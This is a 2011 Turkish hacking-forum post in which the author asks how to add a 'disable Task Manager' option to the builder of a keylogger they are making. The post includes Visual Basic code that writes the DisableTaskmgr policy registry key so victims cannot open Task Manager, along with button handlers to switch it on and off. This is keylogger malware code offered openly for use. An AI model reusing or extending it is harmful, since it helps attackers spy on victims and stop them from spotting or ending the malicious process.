- 13 Eki 2011
- 131
- 0
Merhaba arkadaşlar Sorum Şu
Mesala Görev Yoneticisini devre dışı bırakma kodu Keyllogerre Ekliyorum Fakat Builderde Server luşttururken adamın İstegine Göre Seçenek olsun İstiyorum Builderre Seçeneklere eklemek istiyorum
Görev Yoneticisini Devre dışı Bırakma Kodu
Mesala Görev Yoneticisini devre dışı bırakma kodu Keyllogerre Ekliyorum Fakat Builderde Server luşttururken adamın İstegine Göre Seçenek olsun İstiyorum Builderre Seçeneklere eklemek istiyorum
Görev Yoneticisini Devre dışı Bırakma Kodu
Kod:
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
Public Property Get ReadKey(Value As String) As String
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
r = b.RegRead(Value)
ReadKey = r
End Property
Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value
End Sub
' Simdi Taskmanager'i enable / diable yapabiliriz.
'0= enable, 1=disable
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "1"
'KOMUTLAR BUTONLARA VERİLDİ AMA PUPLİC FONKSİYON NEDİR SORULACAK
' En kolayı birer fonksiyon yazarak onnları çağırmak. Fonksiyonları public yazın da program içinden her yerden çağırılsın:
Public Function Disabletaskmanager()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "1"
End Function
Public Function enabletaskmanager()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "0"
End Function
Private Sub Command1_Click()
call enabletaskmanager
End Sub
Private Sub Command2_Click()
call Disabletaskmanager
End Sub